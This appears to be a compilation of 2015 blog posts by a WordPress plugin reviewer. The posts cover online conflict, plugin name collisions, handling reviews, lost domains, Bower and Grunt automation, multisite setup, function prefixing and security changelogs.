I talked about this at WordCamp Minneapolis earlier this year, and the steps to [Detoxify Your Website](https://halfelf.org/2015/detoxify-website/) remain valid. In fact, those are my best methods for self protection. I use them today, not just when people are mean to me but when I know I cannot be nice to them. Some people rub you the wrong way and you know you’re going to lash at them. It’s okay to prevent yourself from talking to them.
That’s how I deal with them.
## Don’t Reply If You’re Angry
If I’m angry I tell them “Hey, you’re making me angry right now and I can’t talk fairly about this, so I’m walking away. I promise I’ll come back, but I need to cool down.” If they follow me after that, they get blocked and I don’t go back. Respect people who need to step back and cool down. If it’s not a situation where I have to reply, I reach out to my friends in the same arena. “Can you talk to this person for me? I’m too angry to be sensible.”
## Set Boundaries and Stick To Them
I’m very firm about this with plugins. If I emailed you a plugin thing, like I had to close your plugin, asking me to update you on Twitter or Slack doesn’t actually do anything except annoy me. Yes, Aaron, we’re friends and yes, that still annoyed me. The real reason replies to plugins take time is that I don’t have a TARDIS, so unless you can invent one, it’s best to give folks at least 48 hours to reply. But replying to an email and then pinging me on Slack and Twitter is the equivalent of the phone call “Hey, did you get my email?”
I totally get that the subject is important to you. It’s important to me too. But you’re not helping me. So I draw a line and say “Hey, don’t ping me about the email. Reply to the email. I’ll read it and reply back.” That’s my boundary. I like it. It lets me cool down if I’m mad (see the previous note).
## Don’t Feed Trolls
Lara Littlefield taught me a great phrase. “This makes absolutely no sense.”
To quote her:
> I will reply “this makes no sense” to any comment that expresses misogyny or racism.
That’s my new reply. I’m using it. If someone drops into misogyny, racism, or anything of that ilk, they generally do it in a way that shows me they’re not going to listen. It’s like Godwin’s Law. Once you’re at the Nazi place, conversation is over and you’re not getting anything good about it.
That makes absolutely no sense.
## Have People To Vent To
I bitch to my friends when I’m angry. I start with “I’ve very pissed off, it’s not at you, but I need to rant.” And guess what? My friends will let me bitch. They let me complain in language that is inappropriate and not well thought out. They give me a free pass to say horrible things. They let me get it all out. And then they help me be constructive.
You guys are pretty cool.
But it only works because I start with where I’m at and what I need. Sometimes they ask “Do you need to rant or do you want help figuring out what to do next?” Sometimes I don’t know, and that usually turns into “Rant away, Mika, and we’ll see what comes next.” Find those people. Keep them in your life.
## Don’t Air Dirty Laundry
If you have a fight with someone, don’t plaster it all over the news. I’d say ‘and don’t subtweet’ but sometimes it helps. The real thing is that you don’t want to hurt your friends. Friends can be pretty vile to each other when we fight, so remember that you are friends, and try not to destroy things. Don’t blog post or comment about how so and so sucks. Don’t say the horrible things in public if you can help it.
You can’t go back from that.
The internet remembers.
**Categories:** How It Is
**Tags:** essay, internet
---
### [Name Collisions](https://halfelf.org/2015/name-collisions/)
**Published:** July 15, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes a plugin update stomps all over your non wordpress.org hosted plugin, and it's all because of name collisions.
**Content:**
Many many years ago I played MUSHes. One of the games was PernMUSH (which apparently is inactive now). PernMUSH took place on the world of Pern, and you had the chance to be a dragon rider. Which was kind of the Thing to Be ™. One of the ‘quirks’ of the game was that every character had to have a unique name, and so did each dragon. When I started playing, I didn’t really understand this. Today I know that it’s because of name collisions.
A “name collision” is a problem not solely endemic to computers, but it comes up there an awful lot, whereby you must have a unique identifier to know what each ‘thing’ is. For example, in WordPress every post has two unique identifiers. It has a post ID, which is a number given to the post when it’s stored in the database. If you use ‘ugly’ permalinks, you’ll see this as `example.com/?p=123` – that *123* is the post ID. But if you use pretty permalinks (like I do here — `example.com/my-cool-post/`) then you have to have only one ‘post’ with that name.
You, literally, cannot have two posts with the same ID or name. Makes sense, right?
On PernMUSH we had everything have a unique ID as well as a unique ‘nice’ name. But then when dragons were introduced, you had to give them unique names as well. This was not for frivolous reasons nor pretty special snowflake ones. While it was perfectly understandable to have a hundred rooms named “Bedroom,” the code for the dragons allowed them to all talk to each other and send private messages. They were, basically, our cell phones. Dragon Ath had to be able to talk to dragon Bth, and in order to ensure that worked properly without everyone having to type `dtu #12724=message` we had to have the code written such that someone could type `dtu bth=message` and *that* meant each name had to be unique.
This would have been fine and dandy as it was except for one small problem. PernMUSH wasn’t the only MUSH based on Pern. There was also a game called SouCon, which took place on the Southern Continent. And transfers between the games were allowed. This added in a wrinkle that now PernMUSH and SouCon had to be sure that everyone on *both* games had a unique name and dragon name.
It was quickly determined that they wouldn’t bother with human names. If J’cob on SouCon came to visit PernMUSH, which already had a J’cob, then SouCon’s J’cob would use a different name like Jy’cob. But for whatever reason it was decided that the dragon names on both games were going to be unique. Thus the “All The Weyrs List” was created. That list (which still exists at [dragons.pernmu.com](http://dragons.pernmu.com/) ) was a mostly honor system site where you would email in your ‘hatching records’ with who’d impressed and to what dragon and what color and who were the parents. The list would be updated. Then the next time anyone had a hatching, they’d search that page for the dragon names they wanted to use. If the name was there, then then couldn’t use it. Done.
Of course this wasn’t perfect. Anything based on the honor system is bound to have a few bad eggs. After 10, 15, 20 years, the ability to give people the name they ‘want’ starts to chaff against the tacit agreement not to repeat a name. At some point, I know some games gave up and let people have whatever name they wanted, and transfers could cope.
What does all this have to do with anything?
On the WordPress.org servers, where we list all the plugins approved by the team, each plugin has a unique slug that cannot be changed. I have a plugin called Impostercide, which has the slug of `impostercide` and it’s the only one. No one else can submit a plugin with that name. For the most part, this worked fine. If someone else wanted to make a plugin with that name, they were free to do so but it just wouldn’t be on WordPress.org and that was okay.
Then we shot ourselves in the spirit of making life easier. Today WordPress updates your plugins and themes by using an API that calls back to the wordpress.org servers. That API check sees if Impostercide on your install of WordPress is older than the one on wordpress.org and, if so, alerts you to update. You press a button and your plugin is updated. It’s magic. It’s gold. It’s great. If you’re that person who wrote your own plugin, not on wordpress.org, you can hook into the update code and have it update from other servers. It’s brilliant.
Except what if you’re that person who has their own plugin named Impostercide? The obvious answer is that you can just rename your folder and off you go. That doesn’t fix the thousands of people who just upgraded themselves to my version, though. They’re having a bad day. Also what if someone submits a plugin called impostercide-two? Now you have the same problem all over again. Other people will tell you to bump the version to something the real Impostercide will never use. But again, that doesn’t hold up since what if Impostercide does?
The actual fix is to tell WordPress not to check for updates for that specific plugin.
The awesome Mark Jaquith posted about this in 2009. [You can code a plugin to tell WordPress to not check for updates for it.](https://markjaquith.wordpress.com/2009/12/14/excluding-your-plugin-or-theme-from-update-checks/) This does put the onus on people who are writing the plugins not hosted on wordpress.org though, which is and isn’t fair. There’s a movement to allow a new plugin header to prevent these things in [trac ticket 32101](https://core.trac.wordpress.org/ticket/32101), which boils down to the idea that if those non-org hosted plugins can flag themselves as ‘I’m not from .org’ then the API stops trying to update them.
I think that it would be a good idea to have an *easy* way for people to flag their plugins as not being hosted. The alternative would be an honor system method, where everyone registers their plugin slugs and all submissions to wordpress.org is checked against that. But that falls apart quickly the day one person forgets to do it. With a way to easily kill the API check, we can allow non-org hosted plugins to very simply protect themselves, and their users, from being stomped on.
As for the risk that someone might edit their own locally installed copy of Jetpack to have that header because they’re tired of updates, well, we can’t stop you from shooting yourself. I just hope people are smart enough to understand that you don’t edit core and you don’t edit plugins and you don’t edit themes. You make child themes, you use other plugins, and you use filters and hooks.
**Categories:** How It Is
**Tags:** design, essay, plugins, wordpress
---
### [Make or Break Yourself](https://halfelf.org/2015/make-break/)
**Published:** July 8, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How you react to adverse situations is what makes or breaks your business, not the fact that you had one in the first place.
**Content:**
How you react to adverse situations is what makes or breaks your business, not the fact that you had one in the first place.
Taylor Swift recently penned an open letter to Apple Music. [To Apple, Love Taylor](http://taylorswift.tumblr.com/post/122071902085/to-apple-love-taylor) lets us all in on a fact of the new Apple Music (their streaming service, coming soon for free for 3 months) that a lot of us didn’t know.
> I’m sure you are aware that Apple Music will be offering a free 3 month trial to anyone who signs up for the service. I’m not sure you know that Apple Music will not be paying writers, producers, or artists for those three months. I find it to be shocking, disappointing, and completely unlike this historically progressive and generous company.
Three months where we get free music is great, but the cost of that free music was astronomical. As Taylor points out, it doesn’t hurt *her*, she has money. But the indie people will be terribly hurt by this, to the point that many of my indie friends pulled out of the trial too.
Apple kowtowed in under 24 hours from that post. Eddie Cue (who’s the Apple mogul in charge of this project) replied on Twitter:
> We hear you [@taylorswift13](https://twitter.com/taylorswift13?ref_src=twsrc%5Etfw) and indie artists. Love, Apple
>
> — Eddy Cue (@cue) [June 22, 2015](https://twitter.com/cue/status/612824947342229504?ref_src=twsrc%5Etfw)
I see a lot of people take criticism in some pretty appalling ways. I’ve been threatened with legal action for not deleting a one-star review of a plugin on WordPress.org. I’ve been vilified, called a Nazi or worse, and had my reputation blasted because I stood up for a user who didn’t like a product and left a bad review. I get insulted daily because I tell people “If someone misunderstood what your documentation said, you need to review your docs and consider updating them.”
I’m glad I have a thick skin, because some days the things people say and accuse me of would make me cry. Sometimes they do, and those are the days I walk away and let someone else handle that person, or just take a break.
In general, I believe in the inherent capability of goodness in humanity. I assume good faith. I presume that people who are leaving reviews aren’t generally doing it to attack me personally, but because they’re having a terrible day. Maybe they’re having the worst day of their life. And I, as an experienced support tech, know that they’re pretty much always going to be irrational.
That’s the thing. People aren’t usually intentionally misleading, nor do they plan to make my life miserable. They’re having a bad day and it’s perceived to be my fault, so I’m sorry, but let me try to understand things better. How I reply to them depends on how they come to me with their issues, though. If they say ‘it’s broken!” (a common complaint, right?), I tell them I’m sorry and ask them if they can explain what, exactly, is broken. I may spend time clarifying with them “Do you mean X?” and I may ask “Why are you trying to do Y?” so I can understand the big picture.
And then… those people who come at me and say “This person is lying and gave me a bad review!” I’m often inclined to side with the users, since a bad review is something that makes people overreact. But that doesn’t mean I dismiss the complaint out of hand. I check if the reviewer is a fake account (we have ways), and I check their history and their information and validate they’re real people before I reply. If they’re fake, I remove the reviews. If they’re not, I leave them be.
Leaving them be is where most (if not all) of the hate comes from. You see, leaving them be is hurting businesses and ruining reputations.
No. No they’re not.
What ruins your reputation is how you reply to them. If you accuse them of being spammers or harassers, you make yourself look bad. If you lay into them because you disagree with their review, you make a fool of yourself. A review is a ‘how I feel’ from a user, and even though you may not agree with their conclusions, that doesn’t make their experience invalid. It means there was a breakdown in communication somewhere between you and them.
This is why I tell people to check their documentation. If they’re getting a lot of bad reviews that are plain wrong, and they’re wasting a lot of time talking to people and correcting them, then the issue has to be, in part, the information they’ve presented up front. If its not there, add it. If it’s there, point them to it. “Actually I answered this in the FAQ where it says this plugin is Multisite only.” True story, I have to use that a lot.
But when that question comes up time and again, I may ask “The FAQ covers this here *LINK*. Do you think there’s a better place I can put that? Where were you looking so I can make it more obvious for the next guy?”
Maybe they never reply and fix that one-star review, but when people go and look at the reviews and see a one-star, and read it, they’ll see my mature, reasonable, honest reply. And that will do far more for my reputation than anything else.
**Categories:** How It Is
**Tags:** administration, essay, support
---
### [Mailbag: I Lost My Site](https://halfelf.org/2015/mailbag-lost-site/)
**Published:** July 17, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you lose your domain, you may not lose anything.
**Content:**
Don from Worcestershire started an email in a way that *normally* would result in a quick delete:
> Before you cut me off I am a 78 year old gambling historian, specializing in horse racing between 1850 and 2015.the age alone will convince you that my knowledge of this topic is limited.
It’s not the age, Don, it’s that the email starts with a long, dramatic, kind of non-essential story about your life, your ideas, your dreams, your goals, and your son. By the way, I’m sorry for your loss.
Yes, I read the whole email.
It took a long time to sift through the drama to sort out the issues.
1. Spam – He had a lot of spam and used Akismet (yay!) to deal with it.
2. Bandwidth – The spam made his site hit the overages on his hosting.
3. Domain suspension – Due to circumstances, he was late in paying his feeds and the domain was sniped.
I feel bad. I really do. But here’s the thing, Don. Your domain is like your rent. If you don’t pay for it, you lose your home. And while this sucks a lot, and yes there were mitigating circumstances, you didn’t pay in time, and the company is legally within their rights to sell. It’s the same as your phone. No pay, no phone. It’s just that simple.
Now I have good news.
According to whois records, you still own your domain! So you actually didn’t lose the domain you lost the hosting plan.
These are different things. They’re very easy to get confused.
There isn’t a great analogy to all this, I’m afraid, but as it works, you’re paying for two things.
First you pay for the domain. This reserves your ‘name’ on the internet. I recommend paying for it first for a year and then, if you like how things are going, pay for as long as you possibly can. I did mine for a decade at one point in time. I knew I wanted the domains and I knew I was using them.
Once you have the domain, you need to pay for webhosting. The host is where you data is stored.
Now I need to take a digression.
*BACK UP YOUR WEBSITE OFFLINE.*
If the backup tool you use *only* lets you backup to your webserver, it’s a shitty backup tool. Stop using it *unless* you are automatically downloading that backup somewhere else.
Because you see, Don, what happened was that you didn’t pay for your webhosting. You didn’t pay for the storage unit that housed your data. And they can auction that off like they do on shitty shows like *Storage Wars*.
So what do you do when this happens?
If it’s *just* the webhost, it’s easy. Contact the webhost. is a great resource to find out who your host is. Be honest but keep it short. “I’m sorry, I wasn’t able to pay on time and my site was suspended. Is there any way I can get it back?” That’s it! That’s all you have to do. If you’re lucky, they may still have all your data. You pay, they flip a switch, it’s back.
The worst case … that’s why you need backups.
If it’s the domain registration, though, that can be a mess. If you bought the domain through your webhost, it may surprise you to find out that the host *doesn’t* have control over your domain registration. The host is an intermediary. That means, if you go to your site and see a placeholder page owned by a domain registrar, it may or may not be a cybersquatter.
You may have heard about domain hijacking or domain theft. That’s when someone changes the registration of your domain name without your permission. A hijacking is *not* the same as when you’ve failed to pay for your domain and the registrar slaps up a placeholder. A great many hosts put up a branded placeholder if you’ve registered a domain and not yet updated content. Sometimes it says “This domain has been registered at…”
If it says “This domain is suspended” then the issue is with the webhost. If it says “This domain has expired” then it’s likely to be the registrar. You need to figure out who the registrar is, log in with your info, pay the fine, and get the site back.
I strongly urge you to put a reminder in your to-do list or whatever you use to keep track of things. “Domain name renewal due on day X.” It’s like paying your rent. Don’t forget. Make reminders. Do it.
By the way, no matter whom you talk to, don’t give them the sob story. While they do care, in as much as any human does, it rarely changes the reality of what’s going on. Shit happened, you couldn’t pay. Your personal drama is *not their problem.* I know how harsh that sounds, but it’s not. And the more you make it how you need an exception because you’re a special case, the more people hear it as an excuse.
I know it’s not. You know it’s not. Except sometimes, Don, for a lot of people, it is. If I told you how many idiots complain they couldn’t pay for $4/month hosting, while stilly buying a top of the line iPhone, you’d understand why it’s draining.
And as someone who’s fucked up before, I find that being honest where it’s my fault gets better results. “I’m sorry. I screwed up and didn’t pay. Is there anything I can do to get my content back? It matters a lot to me, and I’d appreciate anything you can do to help me.”
Works great.
By the way, Don, I see that you have your site back right now. You should upgrade. You’re running WordPress 2.6.1 and that’s really old and vulnerable.
**Categories:** How To
**Tags:** domain, mailbag, registration
---
### [Rant: Gmail Contacts](https://halfelf.org/2015/rant-gmail-contacts/)
**Published:** July 10, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using gmail to add new contacts to your contacts in Google sucks.
**Content:**
It’s been a while since I’ve gotten to have a good ol’ rant in on tech!
I use Gmail in the browser, like [my friend James](http://macmanx.com/2015/05/28/going-webmail-only/). It’s meant to be used there. I’ll use it there. But I often get emailed new contact information, and I want to add it to Google Contacts. Here’s the workflow.
I open the email and click on the ‘add contact’ button.

There’s often no response at this point. The page sits there and I don’t see anything telling me to go to another page. Eventually the browser takes me to a new page in the same screen where I now have a *new* contact group with the name “Imported DATE” and one user (or possibly two if I clicked, saw no response, and clicked again):

At this point, I have to click the find and merge to get them back down to one. Then I click what groups I want the new user to be in. Of note, you *must* press the “Apply” button:

No ajax here.

But what about that group?

Now some of this I can do from the list user screen, but I still have to go to contacts, mess with it, and then delete the temp group. No ajax. No way to add just from within mail. No way to open in a new window.
It’s just crap.
**Categories:** How It Is
**Tags:** essay, google, rant
---
### [Mailbag: Why Don't You Tell People How To Contact You?](https://halfelf.org/2015/mailbag-dont-tell-people-contact/)
**Published:** July 3, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you ask for help, consider how you ask. If you'd pay for the result, start with that.
**Content:**
My contact form scares off people. It’s supposed to. So this was asked of me at GeekGirlCon:
> Your card doesn’t have your email. Why do you make it so hard to contact you?
It’s not that I don’t want to have people ask me for more information about my site, or a class I gave. I love that. I’m happy to answer those. I tell people ‘Go to halfelf.org and use the contact form.’ Sometimes I’ll reply personally, sometimes I post on the blog, sometimes both. But yes, if we’ve met in person and you have a question, it’s okay to ping me.
But I hide my contact form behind a couple ‘are you sure?’ layers because people are weird and unreasonable.
People contact me for the one thing I don’t offer, and that’s consultant work.
People want to get free help on very complex problems.
People want to be friends.
Okay that last one is nice, but if I meet you once, we’re going to be acquaintances unless we hit it off like gangbusters… And at that point, I probably gave you my email and phone number and said “When you come to X, we have to do coffee!” It happens!
But if you’re trying to ask a long question about how to write code to do a very complex thing, consider this. Would you otherwise pay someone to do it? Would you, if you were asked by someone, ask for payment? If yes, don’t just drop me a ‘hey can you help?’ Don’t drop *anyone* that question. Shoot them a polite message, asking if they can help you with a project. Offer to pay. And ask if they’re busy, can they please direct you somewhere?
And do check out \[https://halfelf.org/get/help\] – Because yes, I keep a list.
**Categories:** How It Is
**Tags:** mailbag, support
---
### [Updating Bower with Grunt](https://halfelf.org/2015/updating-bower-grunt/)
**Published:** July 6, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Automation is king. So is content of course, but automating the code behind the content will save you time, money, and headaches.
**Content:**
The goal of automation is to make the annoying stuff I don’t want to have to remember to do easier to do. Bower is useful for updating things. Grunt is useful for running a series of commands. Using them together makes life easier.
In my little world, everything lives in a folder called ‘assets’ and its very simple.
## Add a Package to Bower and call it in Grunt
First I have a `.bowerrc` file which very simply says this:
```
{
"directory": "vendor"
}
```
That tells Bower where to install things. So when I run `bower install jquery-backstretch --save` in my asset folder, it saves backstretch to the vendor folder.
In my `gruntfile.js`, I have this to pull in my backstretch arguments and the main file into one file, uncompressed, a folder level up:
```
concat: {
// Combine all the JS into one
backstretch: {
src: ['js/backstretch.args.js', 'vendor/jquery-backstretch/jquery.backstretch.min.js'],
dest: '../js/backstretch.js',
},
},
```
Just like magic.
## Tell Grunt to Update Bower
But while Bower pulled in the packages, I don’t want to have to tell Bower ‘Hey, make sure everything’s up to date!’ every few days. I want to make sure I’m on the latest version of a branch most of the time, for security reasons at the very least. That means I have this in my `bower.json` file:
```
"dependencies": {
"bourbon": "~4.2.3",
"neat": "~1.7.2",
"jquery-backstretch": "~2.0.4"
}
```
So if I run `bower update` I would get this:
```
bower jquery-backstretch#~2.0.4 cached git://github.com/srobbin/jquery-backstretch.git#2.0.4
bower jquery-backstretch#~2.0.4 validate 2.0.4 against git://github.com/srobbin/jquery-backstretch.git#~2.0.4
bower bourbon#~4.2.3 cached git://github.com/thoughtbot/bourbon.git#4.2.3
bower bourbon#~4.2.3 validate 4.2.3 against git://github.com/thoughtbot/bourbon.git#~4.2.3
bower neat#~1.7.2 cached git://github.com/thoughtbot/neat.git#1.7.2
bower neat#~1.7.2 validate 1.7.2 against git://github.com/thoughtbot/neat.git#~1.7.2
bower jquery#~1.9.1 cached git://github.com/jquery/jquery.git#1.9.1
bower jquery#~1.9.1 validate 1.9.1 against git://github.com/jquery/jquery.git#~1.9.1
bower neat#~1.7.2 install neat#1.7.2
bower bourbon#~4.2.3 install bourbon#4.2.3
neat#1.7.2 vendor/neat
└── bourbon#4.2.3
```
Cool. But who wants to run that every day?
Instead, I ran `npm install grunt-bower-update --save-dev` to install a new Grunt tool, [Bower Update](https://www.npmjs.com/package/grunt-bower-update). With that code added to my `gruntfile.js`, every time I run my grunt update command, it first updates my libraries and *then* runs the processes.
There is a downside to this. I use git to keep track of my work and either track the vendor packages in my repo (which can make it a little large) or I can remember to install the packages. There are other ways around this, like using [grunt-bower-task](https://www.npmjs.com/package/grunt-bower-task) to set up things to install if not found, update if they are found. I went with including them in my repos, which makes the git pull a bit large (it added about 6000 files), but since I properly delete my assets folder when I deploy from git, it won’t impact the size of my server’s package.
## Register a New Bower Package
Randomly, when I initially tried to install backstretch, I forgot it was named ‘jquery-backstretch’ and did this:
```
$ bower install backstretch --save
bower ENOTFOUND Package backstretch not found
```
Obviously the right fix is to use the right repo name (and [bower has a great search tool to help me to that](http://bower.io/search/)). But what if I did want to package it up as backstrech? Or if I wanted to add my own repo? Well I would have to [register that package](http://bower.io/docs/creating-packages/#register) first. And that’s pretty easy:
```
bower register backstretch git://github.com/srobbin/jquery-backstretch.git
```
## Your Tricks?
Do you have Bower tricks?
**Categories:** How To
**Tags:** automation, coding, development
---
### [Mailbag: Multisite Subdomains Live Where?](https://halfelf.org/2015/mailbag-multisite-lives-where/)
**Published:** June 26, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Where is WordPress installed? Where does it run from? Where is WWW set?
**Content:**
Heather is confused, and I don’t blame her:
> I am want to use subdomains in my multisite. 1. Install WordPress in the subfolder and set it up to run from root before you create your subsites. 2. You should not use www in your URL ….. Where exactly do need to change this? Settings/ General ( that’s how i saw it in your book) or in my file manager, having to change it in many different files…. ( saw and read this from other internet sources).
Let’s take this by the numbers.
> 1. Install WordPress in the subfolder and set it up to run from root before you create your subsites.
*If* (and that’s a big if) you want to install WordPress at `example.com/wordpress` but have the URL look like `example.com` then you *must* do this before you activate Multisite. Can it be done after? Yes. But you will go insane.
> 1. You should not use www in your URL
If you’re using subdomains, just don’t. The issue where WordPress breaks if you use the www here is not to do with WordPress so much as the variant hosts out there and how they handle the www/non-www redirects. Save yourself a headache. Don’t use www. You don’t use www. Yes, I know Google does. They don’t care so long as you’re consistent.
In both cases, on your *single site install of Wordpress*, you go to the General panel. The value for *Site Address (URL)* is what you want people to see when they visit your site. The one for *WordPress Address (URL)* is where WordPress is installed.
Make sure they both match in terms of schema and www. Then change the Site Address from `http://example.com/folder` to `http://example.com` and save it.
The official directions are [on the codex – Giving WordPress it’s own Directory](http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory). There’s a bit more when it comes to moving a couple files, but really that’s it. Once it’s done and working, go ahead and activate Multisite.
By the way, I *always* get the WordPress Address and Site Address confused. It’s not just you.
**Categories:** How To
**Tags:** mailbag, multisite, wordpress
---
### [Uniqueness Matters](https://halfelf.org/2015/uniqueness-matters/)
**Published:** June 29, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I got 99 problems, but prefixes ain't one.
**Content:**
This email gets sent a lot to plugin devs lately:
> All plugins should have unique function names, defines, and classnames. This will prevent your plugin from conflicting with other plugins or themes.
>
> For example, if your plugin is called “Easy Custom Post Types”, then you might prefix your functions with ecpt\_{your function name here}. Similarly a define of LICENSE would be better done as ECPT\_LICENSE.
>
> Please update your plugin to use more unique names.
And once in a while someone asks why we care so much.
There are 38,308 active plugins in the WordPress.org repository. If every one of them uses a global define of `IS_PLUGIN_SETUP` then they will all conflict with each other. If half use a script handle of `plugincss` then all those plugins will stomp over each other when it comes to enqueuing the CSS.
It’s literally a numbers game.
Every day we get at least 30 new plugin submissions to WordPress.org. That means every day at least 30 new potential conflicts show up. And it’s not just plugins. In WordPress 4.2, a new function was added: `get_avatar_url()`
This was a great idea that saved people countless hours of work. Unless they logged in to see the error `Fatal error: Cannot redeclare get_avatar_url()` prance across their screen.
Now in this case, theme authors had previously been told to include/make themselves, but was later added to core. All theme devs hosting on WordPress.org were notified and it was posted on the change blogs. But not everyone remembers to check those. And not everyone updates their themes right away. In a way, this probably could have been communicated better, but had the themes called their function `mythemename_get_avatar_url()` then this wouldn’t have been a problem.
Prefix everything. Make it unique to your plugin or theme. WordPress is ‘home free’ and shouldn’t have to, but you should.
**Categories:** How To
**Tags:** coding, essay, wordpress
---
### [Bower To The Master](https://halfelf.org/2015/bower-master/)
**Published:** June 15, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Automate repeatable tasks. It's just that simple.
**Content:**
I recently mastered using [Grunt to handle automation](https://halfelf.org/2015/ebb-flow-automation/).
And then I was handed some Bower code by Carrie Dils. I’m up for a challenge, I muttered under my breath. I already have Node and NPM and Git, so this shouldn’t be too terrible.
Turns out I didn’t need to change a damn thing!
First off, Carrie and I are on the same wavelength, having named our files nearly the same *and* separated them the same. Second, I had been incredibly brilliant and put all of *my* code in separate files (my.css, my-config.php, etc etc). Third, I had documented everything that I had changed in all of my files in a my-readme.txt file.
But if I’m using Grunt, what am I going to get out of Bower?
Bower is a ‘front end’ package manager.
To install packages, I make a folder for my work and I go there in a command line, I type this:
$ bower install jquery
That would install bower into my folder. It’s dependency aware as well, so if I install Bourbon, it will include Neat. This is much the same as Grunt, which can install its plugins and dependencies, but where Grunt is for installing Node modules, Bower is for js and CSS and html as well.
Grunt is for running tasks. Bower is for managing components. They’re friends.
Bower lets me set up all the required components for my site (jquery for example). Grunt lets me compress, join, minify, and automate the deployment of those components.
I tell Bower to get the files and what versions they could be. I tell Grunt to combine all my mini-js files into one, combine them, compress them, and put them in another location. That means I tell Bower to bring in jquery, but it puts it in a development folder. Grunt takes that and copies it to the js folder.
Personally I take it a step further and, when I use Git to push my code, I tell it to delete the development folder off the server. I also do as [Chase Adams](http://www.realchaseadams.com/2013/11/grunt-build-and-bower-package-management/) does, and I don’t version control my dev packages. I may define jquery’s version, but I dont worry about capturing that in my repositories.
You don’t have to use Grunt. You could use Gulp. I had a sticker for Grunt on my laptop from a friend, so I tried it first and found I liked it.
Taking all this a step further, there are tools like [Yeoman](http://yeoman.io/) that will let you kickstart a project by saying ‘yo’ and telling it what kind of project you want to make. Yes, there’s a WordPress project called [YeoPress](http://wesleytodd.com/2013/5/yeopress-a-yeoman-generator-for-wordpress.html).
The point of all this is that automation is the queen of development. Don’t do manually what you can safely, reliably, and responsibly automate. Like the Queen on the chessboard, strike out in all directions and control the board. Use the tools to repeat the hard work, to keep dependencies up to date, and to automate the annoying work.
**Categories:** How To
**Tags:** automation, development
---
### [Trust the Changelog](https://halfelf.org/2015/trust-changelog/)
**Published:** June 24, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do we need to know why the upgrade has to happen now? Do I need to understand the why?
**Content:**
Recently there were a couple WordPress plugins with fairly major security fixes. But you wouldn’t know it by looking at their changelogs.
The changelog is a section of a product’s readme that describes what changed. For most people, it’s a list of items like this:
- Added feature X
- Corrected typo
- Security fix
The problem many people have is that last one is often left rather vague. I’m guilty of this myself. In a recent fix, I simply said “Security fix: Sanitizing `_POST` calls to prevent evil.” and “Security Fix: Implementing nonces.”
The primary reason we keep change logs a bit vague is because we don’t want to open the door to alert hackers as to vulnerabilities. People don’t update their code right away, so every time we publicize a security issue, the people who *haven’t* updated immediately are at greater risk of being hurt.
But if we don’t tell people how important it is to update, how do they know how important it is to update?
There’s the real issue. There’s not yet a proper balance between “You should upgrade as soon as possible” and “You need to upgrade now, or you’re doomed.” My security issue was only accessible by people with admin access. It would be possible to trick an admin, with a cleverly crafted page, but … The effort it took me to apply a nonce check and sanitize things is minimal. From my end, it’s very minor of a fix. From a user’s end, it’s an exceptionally rare hack and unlikely to occur.
The right answer here is “Always upgrade to the latest version of code as soon as possible.” The problem is “as soon as you can” gets bumped out if it’s not mission critical. A patch that adds in a filter? Not a big deal. A patch that secures my site? Should be a big deal. I would argue that any time anyone says “This is a security fix” then you shouldn’t have to concern yourself about how likely the hack is to impact. Instead, security is a watchword to tell you to update the software “immediately.”
Which brings us to two agreements we need to start making with people. The agreement of developers to do things ‘easier’ for users and the agreement of the users to trust developers. If we want people to upgrade, they have to trust us. And if they’re going to trust us, we have to be reliable and consistent.
As developers, we promise not to flag something as a critical security fix that isn’t *just* security fix. If there’s a major issue with our code, we will push a patch as soon as possible that only deals with that issue. There will be no feature changes, no little fixes, no minor tweaks. A security release will only be a security release.
Furthermore, to enable people to update properly, we will properly use semantic versioning. This will allow us to update minor releases as far back as logical, because you can know that version 1.2.8 is the latest version of the (old) 1.2 branch, and 1.5.3 is the latest of the (current) 1.5 branch. The next time we add in new features, we will properly version our code as 1.6 so that you know what branch is current.
As users, we promise to trust your security-only releases and upgrade our copies of your code when a minor release that is a security issue is released. If you release a version 1.5.4 and *not* a version 1.4.4, we will trust that either the 1.4 branch is not subject to this security issue, or the fix could not be back-ported. If you inform us that we must upgrade to the 1.5 branch because there’s no way to secure 1.4, we will expedite our upgrade.
In order to enable ease of upgrade, we will not edit our code to make it impossible to change. We will properly use functions and actions and filters and hooks. We will make regular backups as well as immediate ones before upgrading.
Of course… That’s a perfect world. But I’m going to do my part as a developer and start versioning better. If I do that, and if I as a user hold up my other end, then we can get to a place where all disclosures of security issues happen in tandem with a release, as we know that everyone will upgrade immediately.
A place of trust.
**Categories:** How It Works
**Tags:** essay, open source, security
---
### [Mailbag: Would You Review...](https://halfelf.org/2015/mailbag-review/)
**Published:** June 19, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I say no, a lot, to favors like plugin and theme reviews.
**Content:**
From ‘anon’ in Orange County:
> Why did you review plugins at WCOC but you said no when I asked you to review mine?
That’s not actually exactly what he said. I’ve cleaned up the English.
At WordCamp Orange Country, I was given the rare opportunity to put value judgements on plugins. I never get to do this. I review plugins on WordPress.org every day (pretty much). I test them and evaluate them and send back comments. I look for bugs and security and guideline issues.
What I never get to do is tell people how I feel about their plugins. So when WCOC asked me to judge the Plugin-a-palooza contest ala American Idol, I replied “Oh I’m Simon Cowell. I’m in.” And when Ryan Seacrest — I mean Chris Lema asked me why I agreed to do it, I said it was because I never got to be myself when I reviewed plugins. I never got to just review and tell people how I felt.
They should have known. Right?
The plugin that won was not the one I liked the best. The one I liked the best was small, it was simple (if a little complex with the code). It did one thing and it did it very well. It wasn’t perfect by any means, but it worked. That plugin came in second.
The plugin that won, I wanted to like. In fact, I said that. I said “I really wanted to like this plugin.” And everyone went ‘oooooh’ (or possibly ‘boooo’). Chris jumped to my defense and pointed out I had warned them. So I detailed out why I didn’t like the plugin, from the UX perspective, and from the functionality. Some of why I didn’t like it weren’t it’s fault at all. It was trying to fix an imperfect system in a sensible way.
And I was asked, in the session, if it mattered to me if the flaws in the plugin were the fault of core, the APIs, or the plugin.
No.
